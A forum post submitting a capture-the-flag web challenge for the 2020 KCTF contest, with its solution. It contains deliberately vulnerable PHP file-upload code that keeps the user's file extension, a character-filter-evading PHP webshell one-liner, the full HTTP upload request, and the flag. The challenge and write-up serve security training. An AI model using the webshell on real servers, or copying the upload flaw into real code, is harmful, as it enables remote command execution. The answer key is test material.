首页
社区
课程
招聘
[2020 KCTF][WEB]又不是不能用
发表于: 2020-4-2 11:50 2760

[2020 KCTF][WEB]又不是不能用

2020-4-2 11:50
2760

个人提交

参赛题目: 又不是不能用

题目描述 :  E_NOTICE: 又不是不能用.png

----------

新人 第一次出题 难免有些错误

环境:PHP5.6+nginx

链接:https://pan.baidu.com/s/1X5hlGSmjo2oKfH-0c57_fw
提取码:72uk

使用docker load  载入镜像

docker load -i easyphp1.tar
docker run -d -p 2333:80 easyphp

--

<?php
if (isset($_FILES["file"]["tmp_name"])) {
    $file = fopen($_FILES["file"]["tmp_name"], "r");
    $data = fread($file, filesize($_FILES["file"]["tmp_name"]));
    $arr = json_decode($data, true, 2);
    if (json_last_error() != JSON_ERROR_NONE) {
        die("JsonErr");
    }
    if (count($arr) != 1) {
        die("DataErr");
    }
    $data = $arr['data'];
    $len = strlen($data);
    if ($len > 56) {
        die("Long");
    }
    if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) {
        die("no");
    }
    $name = mt_rand();
    $ext = strrchr($_FILES['file']['name'], '.');
    $ext = trim($ext);
    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext);
    echo "upload/" . $name . $ext;
} else {
    highlight_file(__FILE__);
}
?>


--


攻击方需要构造一个php文件读取根目录/下的flag

文件必须符合json规范 禁止使用部分特殊符号 且有长度限制


标准writeup

构造PHP一句话

{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}

POST / HTTP/1.1
Host: www.bilijk.tk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.8,en;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29882803486271100771841892137
Content-Length: 419

-----------------------------29882803486271100771841892137
Content-Disposition: form-data; name="file"; filename="123456.php"
Content-Type: application/octet-stream

{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
-----------------------------29882803486271100771841892137
Content-Disposition: form-data; name="submit"

Submit
-----------------------------29882803486271100771841892137--

利用上传后的php文件 读取根目录中的flag

flag{ko_ko_da_yo~}







[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-5-1 19:52 被kanxue编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 234
活跃值: (44)
能力值: ( LV3,RANK:24 )
在线值:
发帖
回帖
粉丝
2
已重新修改
最后于 2020-4-2 17:00 被白帽酱编辑 ,原因:
2020-4-2 14:19
0
雪    币: 234
活跃值: (44)
能力值: ( LV3,RANK:24 )
在线值:
发帖
回帖
粉丝
3
改了下题目
2020-4-4 19:20
0
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
4
白帽酱 改了下题目
收到,我们评估下反馈你。
2020-4-8 16:00
0
游客
登录 | 注册 方可回帖
返回
//